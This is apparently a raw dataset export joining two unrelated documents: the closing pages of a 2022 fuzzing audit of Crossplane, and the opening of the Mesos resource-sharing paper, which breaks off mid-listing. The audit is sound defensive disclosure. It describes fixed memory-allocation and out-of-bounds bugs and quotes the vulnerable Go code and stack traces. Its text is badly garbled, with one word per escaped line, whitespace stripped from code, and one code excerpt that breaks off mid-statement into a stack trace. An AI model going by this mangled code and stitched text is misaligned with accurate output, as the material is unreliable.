\\nread\\nLow\\nYes\\n4\\nADA-CROSS-FUZZ-4\\nTime\\nout\\nin\\n3rd-party\\ndependency\\nModerate\\nYes\\nThe\\nmost\\ninteresting\\nfinding\\nwas\\nADA-CROSS-FUZZ-1\\nwhich\\nwas\\na\\nbug\\nthat\\nallowed\\npartially-trusted\\nusers\\nto\\ncontrol\\nthe\\nsize\\nof\\nallocated\\nmemory\\nof\\nthe\\nnode\\nwithout\\nan\\nupper\\nlimit.\\nThe\\nissue\\nwas\\ntriaged\\nby\\nthe\\nCrossplane\\nmaintainers\\nand\\nwas\\nassigned\\nassigned\\nCVEʼs\\nin\\nboth\\nCrossplane\\nand\\nCrossplane-runtime:\\nProject\\nGithub\\nAdvisory\\nCVE\\nCrossplane\\nGHSA-v829-x6hh-cqfq\\nCVE-2023-27484\\nCrossplane-runtime\\nGHSA-vfvj-3m3g-m532\\nCVE-2023-27483\\n10Crossplane\\nfuzzing\\naudit\\n2022\\n1 :\\nU s e r - c o n t r o l l e d\\nv a r i a b l e\\nd e t e r m i n e s\\ns l i c e\\ns i z e\\nID\\nADA-CROSS-FUZZ-1\\nSeverity\\nHigh\\nFixed\\nYes\\nFuzzerFuzzPatchApply\\nOSS-Fuzz\\nbug\\ntracker:\\n●\\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49338&q=crossplane&can=1 \\n(expired)\\n●\\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53819&q=crossplane&can=1\\nDescription\\nCrossplane\\nruntime\\nattempts\\nto\\ncreate\\na\\nslice\\nthat\\nis\\nlarger\\nthan\\nthe\\nmemory\\navailable.\\nThe\\nsize\\nof\\nthe\\nslice\\nis\\ndetermined\\nby\\ninput\\ncontrolled\\nby\\nthe\\nfuzzer.\\nThe\\nCrossplane\\nteam\\ntriaged\\nthe\\nissue\\nand\\nfound\\nthat\\nit\\nwas\\nsecurity-critical\\nand\\nimpacted\\nboth\\nCrossplane\\nand\\nCrossplane-runtime.\\nThey\\nrequested\\nCVEʼs\\nfor\\nboth\\nprojects:\\nProject\\nGithub\\nAdvisory\\nCVE\\nCrossplane\\nGHSA-v829-x6hh-cqfq\\nCVE-2023-27484\\nCrossplane-runtime\\nGHSA-vfvj-3m3g-m532\\nCVE-2023-27483\\nThis\\nissue\\nexisted\\nin\\ntwo\\nplaces\\nin\\nhttps://github.com/crossplane/crossplane-runtime/blob/master/pkg/fieldpath/paved.go\\nhighlighted\\nbelow:\\nfuncprepareElement(array[]any,current,nextSegment){//Ifthissegmentisnotthefinaloneanddoesn'texistweneedto//createitforournextsegment.ifarray[current.Index]==nil{switchnext.Type{caseSegmentIndex:array[current.Index]=make([]any,next.Index+1)caseSegmentField:array[current.Index]=make(map[string]any)}return}\\n//Ifournextsegmentindexesanarraythatexistsinourcurrentsegment's//elementwemustensurethearrayislongenoughtosetthenextsegment.ifnext.Type!=SegmentIndex{return\\n11Crossplane\\nfuzzing\\naudit\\n2022\\n}\\nna,ok:=array[current.Index].([]any)if!ok{return}\\nifint(next.Index):1\\n+0x71 \\nsigs.k8s.io/structured-merge-dif f/v4/value.T ypeReflectCacheEntry .ToUnstructured({0x1,\\n0x0,\\n0x0,\\n0x0,\\n0x1, \\n0x0,\\n0x0,\\n{0x0,\\n0x0,\\n0x0}},\\n...) \\n sigs.k8s.io/structured-merge-dif f/v4@v4.2.1/value/reflectcache.go:188\\n+0xa9a \\nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1f3c540?,\\n0x10c00013b4e0?,\\n0x0?},\\n{0x1da6580?, \\n0x10c0002b85b0?,\\n0x0?}) \\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:655\\n+0x19a \\nk8s.io/apimachinery/pkg/runtime.structT oUnstructured({0x1de9c00?,\\n0x10c00013b4e0?,\\n0x6305b0?}, \\n{0x1da6580?,\\n0x10c0002b8570?,\\n0x10c000017668?}) \\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:843\\n+0xb91 \\nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1de9c00?,\\n0x10c00013b4e0?,\\n0xa?},\\n{0x1da6580?, \\n0x10c0002b8570?,\\n0x98?}) \\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:692\\n+0x119f \\nk8s.io/apimachinery/pkg/runtime.structT oUnstructured({0x1edae00?,\\n0x10c00013b380?,\\n0x1005c85e5?}, \\n{0x1dbbe40?,\\n0x10c00012c688?,\\n0x0?}) \\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:843\\n+0xb91 \\nk8s.io/apimachinery/pkg/runtime.toUnstructured({0x1edae00?,\\n0x10c00013b380?,\\n0x10c00013b380?}, \\n{0x1dbbe40?,\\n0x10c00012c688?,\\n0x7f89fe5604d0?})\\n15Crossplane\\nfuzzing\\naudit\\n2022\\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:692\\n+0x119f \\nk8s.io/apimachinery/pkg/runtime.(*unstructuredConverter).T oUnstructured(0x3337830,\\n{0x1f3acc0?, \\n0x10c00013b380})\\n k8s.io/apimachinery@v0.24.0/pkg/runtime/converter .go:586\\n+0x6f6 \\ngithub.com/crossplane/crossplane-runtime/pkg/fieldpath.PaveObject({0x1f48288?,\\n0x10c00013b380?}) \\n github.com/crossplane/crossplane-runtime@v0.18.0-rc.0.0.20220722162506-9ea84ae53615/pkg/fieldpath/p\\naved.go:55\\n+0x52 \\ngithub.com/crossplane/crossplane/apis/apiextensions/v1.patchFieldV alueToObject({0x0,\\n0x0},\\n{0x0,\\n0x0}, \\n{0x1f48288?,\\n0x10c00013b380},\\n0x0?) \\n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:199\\n+0x5d \\ngithub.com/crossplane/crossplane/apis/apiextensions/v1.(*Patch).applyFromFieldPathPatch(0x10c00003d450,\\n{0x1f48260?,\\n0x10c0004677a0?},\\n{0x1f48288,\\n0x10c00013b380}) \\n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:253\\n+0x2e5 \\ngithub.com/crossplane/crossplane/apis/apiextensions/v1.(*Patch).Apply(0x10c00003d450,\\n{0x1f48260, \\n0x10c0004677a0},\\n{0x1f48288,\\n0x10c00013b380},\\n{0x0,\\n0x0,\\n0x0?}) \\n github.com/crossplane/crossplane/apis/apiextensions/v1/composition_patches.go:129\\n+0x4a5 \\ngithub.com/crossplane/crossplane/apis/apiextensions/v1.FuzzPatchApply({0x603000001900,\\n0x16,\\n0x16}) \\n github.com/crossplane/crossplane/apis/apiextensions/v1/patch_fuzzer .go:84\\n+0x425\\n16Crossplane\\nfuzzing\\naudit\\n2022\\n3 :\\nM i s s i n g\\ns l i c e\\nl e n g t h\\nc h e c k s\\nc a u s e s\\no u t\\no f\\nb o u n d s\\nr e a d\\nID\\nADA-CROSS-FUZZ-3\\nSeverity\\nLow\\nFixed\\nYes\\nFuzzerFuzzNewCompositionRevision\\nOSS-Fuzz\\nbug\\ntracker:\\n●\\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=53815\\nDescription\\nNewCompositionRevision\\nreads\\nthe\\nfirst\\nbytes\\nof\\nthe\\ncompSpecHash\\nwithout\\nchecking\\nthe\\nlength\\nfirst.\\nIf\\nthe\\ncompSpecHash\\nis\\ntoo\\nshort,\\nan\\nout\\nof\\nbounds\\nread\\npanic\\nwill\\noccur:\\nhttps://github.com/crossplane/crossplane/blob/8c77706ff8b180b3bb4cd43920a8afce85dfe312/int\\nernal/controller/apiextensions/composition/revision.go#L31-L53\\nfuncNewCompositionRevision(c*v1.Composition,revisionint64,compSpecHashstring)*v1beta1.CompositionRevision{cr:=&v1beta1.CompositionRevision{ObjectMeta:metav1.ObjectMeta{Name:fmt.Sprintf(\\\"%s-%s\\\",c.GetName(),compSpecHash[0:7]),Labels:map[string]string{v1beta1.LabelCompositionName:c.GetName(),//Wecannothavealabelvaluelongerthan63chars//https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#syntax-and-character-setv1beta1.LabelCompositionHash:compSpecHash[0:63],},},Spec:NewCompositionRevisionSpec(c.Spec,revision),}\\nref:=meta.TypedReferenceTo(c,v1.CompositionGroupVersionKind)meta.AddOwnerReference(cr,meta.AsController(ref))\\nfork,v:=rangec.GetLabels(){cr.ObjectMeta.Labels[k]=v}\\nreturncr}\\n17Crossplane\\nfuzzing\\naudit\\n2022\\n4 :\\nT i m e\\no u t\\ni n\\n3 r d - p a r t y\\nd e p e n d e n c y\\nID\\nADA-CROSS-FUZZ-4\\nSeverity\\nModerate\\nFixed\\nYes\\nFuzzerFuzzParse\\nOSS-Fuzz\\nbug\\ntracker:\\n●\\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49192\\nDescription\\nFuzzParse\\n,\\nwhich\\ntests\\na\\n3rd-party\\nparsing\\nroutine,\\nfound\\nthat\\na\\nparticularly\\nwell-cra\\u0000ed\\nstring\\ncould\\ncause\\nthe\\nparser\\nto\\nspend\\nexcessive\\ntime\\non\\na\\nsingle\\nrequest\\ninvocation.\\nAt\\nthe\\ntime\\nof\\nthe\\naudit,\\nCrossplane\\nuses\\nthegithub.com/google/go-containerregistry/pkg/name.ParseReference()\\nthe\\nfollowing\\nplaces:\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/internal/initializer/installer.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/cmd/crank/update.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/manager/r\\nevisioner.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/cmd/crank/install.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/revision/i\\nmageback.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/revision/d\\nependency.go\\n●\\nhttps://github.com/crossplane/crossplane/blob/master/internal/controller/pkg/resolver/r\\neconciler.go\\n18Crossplane\\nfuzzing\\naudit\\n2022\\nRuntime\\nstats\\nAll\\nfuzzers\\nwritten\\nduring\\nthis\\naudit\\nwere\\nadded\\nad-hoc\\nto\\nCrossplanes\\nOSS-Fuzz\\nintegration.\\nOSS-Fuzz\\nran\\nthe\\nfuzzers\\ncontinuously\\nand\\nreported\\nthe\\nissues\\nvia\\nemail\\nto\\nthe\\nmaintainers.\\nIn\\nthis\\ntable\\nwe\\npresent\\nthe\\nruntime\\nstats\\nas\\nof\\nthe\\n30th\\nDecember\\n2022\\nfor\\neach\\nfuzzer.\\n#\\nName\\nTimes\\nexecuted\\nTotal\\nruntime\\nhours\\n1FuzzPatchApply11,337,642146.2\\n2FuzzTransform103,067,031373.2\\n3FuzzParse181,758,787411.3\\n4FuzzPropagateConnection538,134,219316.9\\n5FuzzNewCompositionRevision22,7560.3\\n6FuzzAsComposition394,622,293365.1\\n7FuzzPackageRevision458,470,899348.5\\n8FuzzGCRExtract1,062,095,023373.9\\n9FuzzParseReference343,394,432332.9\\n10FuzzForCompositeResource906,398,749309.6\\n11FuzzForCompositeResourceClaim1,220,542,269375.8\\n12FuzzFindXpkgInDir294,206,967380.3\\n13FuzzDag3,050,774,637378.9\\n19Crossplane\\nfuzzing\\naudit\\n2022\\nC o n c l u s i o n s\\na n d\\nf u t u r e\\nw o r k\\nIn\\nthis\\naudit,\\nAda\\nLogics\\ninitiated\\nand\\nimproved\\ncrossplanes\\nfuzzing\\nefforts.\\nThe\\nefforts\\nresulted\\nin\\n13\\nfuzzers,\\n4\\nissues\\nfound\\nand\\nan\\nOSS-Fuzz\\nintegration\\nwith\\nsupport\\nfor\\ncontinuous\\ntesting\\nand\\nCI\\nintegration.\\n4\\nissues\\nis\\na\\nlow\\namount\\nfor\\na\\nfuzzing\\naudit,\\nand\\ncredit\\ngoes\\nto\\nthe\\nCrossplane\\nteam\\nfor\\ndeveloping\\nand\\nmaintaining\\na\\nhigh\\nlevel\\nof\\ncode\\nquality\\nthroughout\\nthe\\nCrossplane\\ncode\\nbase.\\nFuzzing\\nhas\\nadded\\nvalue\\nto\\nthe\\nCrossplane\\necosystem\\nby\\nidentifying\\ntwo\\nvulnerabilities\\nand\\ncontinued\\ntesting\\nby\\nOSS-Fuzz.\\nFuzzing\\nis\\na\\ncontinuous\\ndiscipline,\\nand\\nwe\\nrecommend\\nthat\\nCrossplane\\ntakes\\nthe\\nfollowing\\nsteps\\nmoving\\nforward:\\nMaintaining\\nthe\\nfuzzers\\nThe\\nfuzzers\\nshould\\nkeep\\nrunning\\nwithout\\nbreaking\\nto\\nkeep\\ntesting\\nthe\\ncode\\nfor\\nharder-to-find\\nbugs\\nand\\nbuild\\nup\\nthe\\ncorpus.\\nOver\\ntime,\\nCrossplanes\\nfuzzing\\nsuite\\nwill\\nimprove\\npassively\\nfrom\\nnew\\nfeatures\\nin\\nfuzzing\\nas\\nthe\\nindustry\\nis\\nworking\\nto\\nimplement\\nnew\\nbug\\ndetectors\\ninto\\nfuzzing.\\nThese\\nwill\\nbe\\nadded\\nin\\na\\nnon-intrusive\\nway,\\nmeaning\\nthat\\nas\\nlong\\nas\\nCrossplanes\\nfuzzers\\nrun\\ncontinuously,\\nthey\\nwill\\nover\\ntime\\ntest\\nfor\\nmore\\nclasses\\nof\\nbugs.\\nImprove\\ncoverage\\nWe\\nrecommend\\nmaking\\nit\\na\\ncontinuous\\neffort\\nto\\nidentify\\nmissing\\ntest\\ncoverage\\nof\\nthe\\nfuzzers.\\nThis\\ncan\\nbe\\ndone\\nusing\\nthe\\ncode\\ncoverage\\nvisualisations\\nprovided\\nby\\nOSS-Fuzz.\\nRequire\\nfuzzers\\nfor\\nnew\\ncode\\nWe\\nrecommend\\nthat\\nnew\\ncode\\ncontributions\\nare\\nrequired\\nto\\nbe\\naccompanied\\nby\\nfuzz\\ntests.\\nThis\\nwill\\nboth\\nensure\\nthat\\nnew\\ncode\\ngets\\ntested\\nfrom\\nthe\\nmoment\\nit\\ngets\\nmerged\\ninto\\nCrossplane,\\nand\\nit\\nwill\\nensure\\nthat\\nthe\\nfuzzer\\nis\\nwritten\\nby\\nthe\\ndeveloper\\nitself.\\nWe\\nthank\\nthe\\nLinux\\nFoundation\\nfor\\nsponsoring\\nthis\\nproject\\nas\\nwell\\nas\\nthe\\nteam\\nat\\nCrossplane\\nfor\\na\\nfruitful\\nand\\nenjoyable\\ncollaboration.\\nWe\\nalso\\nthank\\nthe\\nmaintainers\\nand\\nteam\\nof\\nOSS-Fuzz\\nfor\\ntheir\\nefforts\\nin\\nmaking\\nopen\\nsource\\nfuzzing\\npossible\\nin\\nthis\\nmanner.\\n20\"\n }\n]"}}},{"rowIdx":39479,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"nsdi_mesos.pdf\",\n \"project_name\": \"Apache Mesos\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Mesos: A Platform for Fine-Grained Resource Sharing in the Data Center\nBenjamin Hindman, Andy Konwinski, Matei Zaharia,\nAli Ghodsi, Anthony D. Joseph, Randy Katz, Scott Shenker, Ion Stoica\nUniversity of California, Berkeley\nAbstract\nWe present Mesos, a platform for sharing commod-\nity clusters between multiple diverse cluster computing\nframeworks, such as Hadoop and MPI. Sharing improves\ncluster utilization and avoids per-framework data repli-\ncation. Mesos shares resources in a fine-grained man-\nner, allowing frameworks to achieve data locality by\ntaking turns reading data stored on each machine. To\nsupport the sophisticated schedulers of today’s frame-\nworks, Mesos introduces a distributed two-level schedul-\ning mechanism called resource offers. Mesos decides\nhow many resources to offer each framework, while\nframeworks decide which resources to accept and which\ncomputations to run on them. Our results show that\nMesos can achieve near-optimal data locality when shar-\ning the cluster among diverse frameworks, can scale to\n50,000 (emulated) nodes, and is resilient to failures.\n1 Introduction\nClusters of commodity servers have become a major\ncomputing platform, powering both large Internet ser-\nvices and a growing number of data-intensive scientific\napplications. Driven by these applications, researchers\nand practitioners have been developing a diverse array of\ncluster computing frameworks to simplify programming\nthe cluster. Prominent examples include MapReduce\n[18], Dryad [24], MapReduce Online [17] (which sup-\nports streaming jobs), Pregel [28] (a specialized frame-\nwork for graph computations), and others [27, 19, 30].\nIt seems clear that new cluster computing frameworks1\nwill continue to emerge, and that no framework will be\noptimal for all applications. Therefore, organizations\nwill want to run multiple frameworks in the same cluster ,\npicking the best one for each application. Multiplexing\na cluster between frameworks improves utilization and\nallows applications to share access to large datasets that\nmay be too costly to replicate across clusters.\n1By “framework,” we mean a software system that manages and\nexecutes one or more jobs on a cluster.Two common solutions for sharing a cluster today are\neither to statically partition the cluster and run one frame-\nwork per partition, or to allocate a set of VMs to each\nframework. Unfortunately, these solutions achieve nei-\nther high utilization nor efficient data sharing. The main\nproblem is the mismatch between the allocation granular-\nities of these solutions and of existing frameworks. Many\nframeworks, such as Hadoop and Dryad, employ a fine-\ngrained resource sharing model, where nodes are subdi-\nvided into “slots” and jobs are composed of short tasks\nthat are matched to slots [25, 38]. The short duration of\ntasks and the ability to run multiple tasks per node allow\njobs to achieve high data locality, as each job will quickly\nget a chance to run on nodes storing its input data. Short\ntasks also allow frameworks to achieve high utilization,\nas jobs can rapidly scale when new nodes become avail-\nable. Unfortunately, because these frameworks are de-\nveloped independently, there is no way to perform fine-\ngrained sharing across frameworks, making it difficult to\nshare clusters and data efficiently between them.\nIn this paper, we propose Mesos, a thin resource shar-\ning layer that enables fine-grained sharing across diverse\ncluster computing frameworks, by giving frameworks a\ncommon interface for accessing cluster resources.\nThe main design question for Mesos is how to build\na scalable and efficient system that supports a wide ar-\nray of both current and future frameworks. This is chal-\nlenging for several reasons. First, each framework will\nhave different scheduling needs, based on its program-\nming model, communication pattern, task dependencies,\nand data placement. Second, the scheduling system must\nscale to clusters of tens of thousands of nodes running\nhundreds of jobs with millions of tasks. Finally, because\nall the applications in the cluster depend on Mesos, the\nsystem must be fault-tolerant and highly available.\nOne approach would be for Mesos to implement a cen-\ntralized scheduler that takes as input framework require-\nments, resource availability, and organizational policies,\nand computes a global schedule for all tasks. While this\n1approach can optimize scheduling across frameworks, it\nfaces several challenges. The first is complexity. The\nscheduler would need to provide a sufficiently expres-\nsive API to capture all frameworks’ requirements, and\nto solve an online optimization problem for millions\nof tasks. Even if such a scheduler were feasible, this\ncomplexity would have a negative impact on its scala-\nbility and resilience. Second, as new frameworks and\nnew scheduling policies for current frameworks are con-\nstantly being developed [37, 38, 40, 26], it is not clear\nwhether we are even at the point to have a full specifi-\ncation of framework requirements. Third, many existing\nframeworks implement their own sophisticated schedul-\ning [25, 38], and moving this functionality to a global\nscheduler would require expensive refactoring.\nInstead, Mesos takes a different approach: delegating\ncontrol over scheduling to the frameworks. This is ac-\ncomplished through a new abstraction, called a resource\noffer, which encapsulates a bundle of resources that a\nframework can allocate on a cluster node to run tasks.\nMesos decides how many resources to offer each frame-\nwork, based on an organizational policy such as fair shar-\ning, while frameworks decide which resources to accept\nand which tasks to run on them. While this decentral-\nized scheduling model may not always lead to globally\noptimal scheduling, we have found that it performs sur-\nprisingly well in practice, allowing frameworks to meet\ngoals such as data locality nearly perfectly. In addition,\nresource offers are simple and efficient to implement, al-\nlowing Mesos to be highly scalable and robust to failures.\nMesos also provides other benefits to practitioners.\nFirst, even organizations that only use one framework\ncan use Mesos to run multiple instances of that frame-\nwork in the same cluster, or multiple versions of the\nframework. Our contacts at Yahoo! and Facebook in-\ndicate that this would be a compelling way to isolate\nproduction and experimental Hadoop workloads and to\nroll out new versions of Hadoop [11, 10]. Second,\nMesos makes it easier to develop and immediately ex-\nperiment with new frameworks. The ability to share re-\nsources across multiple frameworks frees the developers\nto build and run specialized frameworks targeted at par-\nticular problem domains rather than one-size-fits-all ab-\nstractions. Frameworks can therefore evolve faster and\nprovide better support for each problem domain.\nWe have implemented Mesos in 10,000 lines of C++.\nThe system scales to 50,000 (emulated) nodes and uses\nZooKeeper [4] for fault tolerance. To evaluate Mesos, we\nhave ported three cluster computing systems to run over\nit: Hadoop, MPI, and the Torque batch scheduler. To val-\nidate our hypothesis that specialized frameworks provide\nvalue over general ones, we have also built a new frame-\nwork on top of Mesos called Spark, optimized for itera-\ntive jobs where a dataset is reused in many parallel oper-\n 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1\n 1 10 100 1000 10000 100000CDFDuration (s)MapReduce JobsMap & Reduce TasksFigure 1: CDF of job and task durations in Facebook’s Hadoop\ndata warehouse (data from [38]).\nations, and shown that Spark can outperform Hadoop by\n10x in iterative machine learning workloads.\nThis paper is organized as follows. Section 2 details\nthe data center environment that Mesos is designed for.\nSection 3 presents the architecture of Mesos. Section 4\nanalyzes our distributed scheduling model (resource of-\nfers) and characterizes the environments that it works\nwell in. We present our implementation of Mesos in Sec-\ntion 5 and evaluate it in Section 6. We survey related\nwork in Section 7. Finally, we conclude in Section 8.\n2 Target Environment\nAs an example of a workload we aim to support, con-\nsider the Hadoop data warehouse at Facebook [5]. Face-\nbook loads logs from its web services into a 2000-node\nHadoop cluster, where they are used for applications\nsuch as business intelligence, spam detection, and ad\noptimization. In addition to “production” jobs that run\nperiodically, the cluster is used for many experimental\njobs, ranging from multi-hour machine learning compu-\ntations to 1-2 minute ad-hoc queries submitted interac-\ntively through an SQL interface called Hive [3]. Most\njobs are short (the median job being 84s long), and the\njobs are composed of fine-grained map and reduce tasks\n(the median task being 23s), as shown in Figure 1.\nTo meet the performance requirements of these jobs,\nFacebook uses a fair scheduler for Hadoop that takes ad-\nvantage of the fine-grained nature of the workload to al-\nlocate resources at the level of tasks and to optimize data\nlocality [38]. Unfortunately, this means that the cluster\ncan only run Hadoop jobs. If a user wishes to write an ad\ntargeting algorithm in MPI instead of MapReduce, per-\nhaps because MPI is more efficient for this job’s commu-\nnication pattern, then the user must set up a separate MPI\ncluster and import terabytes of data into it. This problem\nis not hypothetical; our contacts at Yahoo! and Facebook\nreport that users want to run MPI and MapReduce Online\n(a streaming MapReduce) [11, 10]. Mesos aims to pro-\nvide fine-grained sharing between multiple cluster com-\nputing frameworks to enable these usage scenarios.\n2Mesos slave \nMesos slave \nMesos slave MPI executor task Hadoop executor task MPI executor task task Hadoop executor task task \nMesos master \nHadoop scheduler \nMPI scheduler \nStandby master \nStandby master ZooKeeper quorum \nFigure 2: Mesos architecture diagram, showing two running\nframeworks (Hadoop and MPI).\n3 Architecture\nWe begin our description of Mesos by discussing our de-\nsign philosophy. We then describe the components of\nMesos, our resource allocation mechanisms, and how\nMesos achieves isolation, scalability, and fault tolerance.\n3.1 Design Philosophy\nMesos aims to provide a scalable and resilient core for\nenabling various frameworks to efficiently share clusters.\nBecause cluster frameworks are both highly diverse and\nrapidly evolving, our overriding design philosophy has\nbeen to define a minimal interface that enables efficient\nresource sharing across frameworks, and otherwise push\ncontrol of task scheduling and execution to the frame-\nworks. Pushing control to the frameworks has two bene-\nfits. First, it allows frameworks to implement diverse ap-\nproaches to various problems in the cluster (e.g., achiev-\ning data locality, dealing with faults), and to evolve these\nsolutions independently. Second, it keeps Mesos simple\nand minimizes the rate of change required of the system,\nwhich makes it easier to keep Mesos scalable and robust.\nAlthough Mesos provides a low-level interface, we ex-\npect higher-level libraries implementing common func-\ntionality (such as fault tolerance) to be built on top of\nit. These libraries would be analogous to library OSes in\nthe exokernel [20]. Putting this functionality in libraries\nrather than in Mesos allows Mesos to remain small and\nflexible, and lets the libraries evolve independently.\n3.2 Overview\nFigure 2 shows the main components of Mesos. Mesos\nconsists of a master process that manages slave daemons\nrunning on each cluster node, and frameworks that run\ntasks on these slaves.\nThe master implements fine-grained sharing across\nframeworks using resource offers . Each resource offer\nis a list of free resources on multiple slaves. The master\ndecides how many resources to offer to each framework\naccording to an organizational policy, such as fair sharing\nFW Scheduler Job 1 Job 2 Framework 1 \nAllocation module Mesos master 1 4 Slave 1 Task Executor Task \nFW Scheduler Job 1 Job 2 Framework 2 \nTask Executor Task Slave 2 3 2 Figure 3: Resource offer example.\nor priority. To support a diverse set of inter-framework\nallocation policies, Mesos lets organizations define their\nown policies via a pluggable allocation module.\nEach framework running on Mesos consists of two\ncomponents: a scheduler that registers with the master\nto be offered resources, and an executor process that is\nlaunched on slave nodes to run the framework’s tasks.\nWhile the master determines how many resources to of-\nfer to each framework, the frameworks’ schedulers select\nwhich of the offered resources to use. When a framework\naccepts offered resources, it passes Mesos a description\nof the tasks it wants to launch on them.\nFigure 3 shows an example of how a framework gets\nscheduled to run tasks. In step (1), slave 1 reports\nto the master that it has 4CPUs and 4GB of mem-\nory free. The master then invokes the allocation mod-\nule, which tells it that framework 1 should be offered\nall available resources. In step (2), the master sends a\nresource offer describing these resources to framework\n1. In step (3), the framework’s scheduler replies to the\nmaster with information about two tasks to run on the\nslave, usingh2CPUs;1GB RAMifor the first task, and\nh1CPUs;2GB RAMifor the second task. Finally, in\nstep (4), the master sends the tasks to the slave, which al-\nlocates appropriate resources to the framework’s execu-\ntor, which in turn launches the two tasks (depicted with\ndotted borders). Because 1 CPU and 1 GB of RAM are\nstill free, the allocation module may now offer them to\nframework 2. In addition, this resource offer process re-\npeats when tasks finish and new resources become free.\nTo maintain a thin interface and enable frameworks\nto evolve independently, Mesos does not require frame-\nworks to specify their resource requirements or con-\nstraints. Instead, Mesos gives frameworks the ability to\nreject offers. A framework can reject resources that do\nnot satisfy its constraints in order to wait for ones that\ndo. Thus, the rejection mechanism enables frameworks\nto support arbitrarily complex resource constraints while\nkeeping Mesos simple and scalable.\nOne potential challenge with solely using the rejec-\n3tion mechanism to satisfy all framework constraints is\nefficiency: a framework may have to wait a long time\nbefore it receives an offer satisfying its constraints, and\nMesos may have to send an offer to many frameworks\nbefore one of them accepts it. To avoid this, Mesos also\nallows frameworks to set filters , which are Boolean pred-\nicates specifying that a framework will always reject cer-\ntain resources. For example, a framework might specify\na whitelist of nodes it can run on.\nThere are two points worth noting. First, filters repre-\nsent just a performance optimization for the resource of-\nfer model, as the frameworks still have the ultimate con-\ntrol to reject any resources that they cannot express filters\nfor and to choose which tasks to run on each node. Sec-\nond, as we will show in this paper, when the workload\nconsists of fine-grained tasks ( e.g., in MapReduce and\nDryad workloads), the resource offer model performs\nsurprisingly well even in the absence of filters. In par-\nticular, we have found that a simple policy called delay\nscheduling [38], in which frameworks wait for a limited\ntime to acquire nodes storing their data, yields nearly op-\ntimal data locality with a wait time of 1-5s.\nIn the rest of this section, we describe how Mesos per-\nforms two key functions: resource allocation ( x3.3) and\nresource isolation ( x3.4). We then describe filters and\nseveral other mechanisms that make resource offers scal-\nable and robust (x3.5). Finally, we discuss fault tolerance\nin Mesos (x3.6) and summarize the Mesos API ( x3.7).\n3.3 Resource Allocation\nMesos delegates allocation decisions to a pluggable al-\nlocation module, so that organizations can tailor alloca-\ntion to their needs. So far, we have implemented two\nallocation modules: one that performs fair sharing based\non a generalization of max-min fairness for multiple re-\nsources [21] and one that implements strict priorities.\nSimilar policies are used in Hadoop and Dryad [25, 38].\nIn normal operation, Mesos takes advantage of the\nfact that most tasks are short, and only reallocates re-\nsources when tasks finish. This usually happens fre-\nquently enough so that new frameworks acquire their\nshare quickly. For example, if a framework’s share is\n10% of the cluster, it needs to wait approximately 10%\nof the mean task length to receive its share. However,\nif a cluster becomes filled by long tasks, e.g., due to a\nbuggy job or a greedy framework, the allocation module\ncan also revoke (kill) tasks. Before killing a task, Mesos\ngives its framework a grace period to clean it up.\nWe leave it up to the allocation module to select the\npolicy for revoking tasks, but describe two related mech-\nanisms here. First, while killing a task has a low impact\non many frameworks ( e.g.,MapReduce), it is harmful for\nframeworks with interdependent tasks ( e.g.,MPI). We al-\nlow these frameworks to avoid being killed by letting al-location modules expose a guaranteed allocation to each\nframework—a quantity of resources that the framework\nmay hold without losing tasks. Frameworks read their\nguaranteed allocations through an API call. Allocation\nmodules are responsible for ensuring that the guaranteed\nallocations they provide can all be met concurrently. For\nnow, we have kept the semantics of guaranteed alloca-\ntions simple: if a framework is below its guaranteed al-\nlocation, none of its tasks should be killed, and if it is\nabove, any of its tasks may be killed.\nSecond, to decide when to trigger revocation, Mesos\nmust know which of the connected frameworks would\nuse more resources if they were offered them. Frame-\nworks indicate their interest in offers through an API call.\n3.4 Isolation\nMesos provides performance isolation between frame-\nwork executors running on the same slave by leveraging\nexisting OS isolation mechanisms. Since these mecha-\nnisms are platform-dependent, we support multiple iso-\nlation mechanisms through pluggable isolation modules .\nWe currently isolate resources using OS container\ntechnologies, specifically Linux Containers [9] and So-\nlaris Projects [13]. These technologies can limit the\nCPU, memory, network bandwidth, and (in new Linux\nkernels) I/O usage of a process tree. These isolation tech-\nnologies are not perfect, but using containers is already\nan advantage over frameworks like Hadoop, where tasks\nfrom different jobs simply run in separate processes.\n3.5 Making Resource Offers Scalable and Robust\nBecause task scheduling in Mesos is a distributed pro-\ncess, it needs to be efficient and robust to failures. Mesos\nincludes three mechanisms to help with this goal.\nFirst, because some frameworks will always reject cer-\ntain resources, Mesos lets them short-circuit the rejection\nprocess and avoid communication by providing filters to\nthe master. We currently support two types of filters:\n“only offer nodes from list L” and “only offer nodes with\nat leastRresources free”. However, other types of pred-\nicates could also be supported. Note that unlike generic\nconstraint languages, filters are Boolean predicates that\nspecify whether a framework will reject one bundle of\nresources on one node, so they can be evaluated quickly\non the master. Any resource that does not pass a frame-\nwork’s filter is treated exactly like a rejected resource.\nSecond, because a framework may take time to re-\nspond to an offer, Mesos counts resources offered to a\nframework towards its allocation of the cluster. This is\na strong incentive for frameworks to respond to offers\nquickly and to filter resources that they cannot use.\nThird, if a framework has not responded to an offer\nfor a sufficiently long time, Mesos rescinds the offer and\nre-offers the resources to other frameworks.\n4Scheduler Callbacks resourceOffer(offerId, offers) offerRescinded(offerId) statusUpdate(taskId, status) slaveLost(slaveId) Executor Callbacks 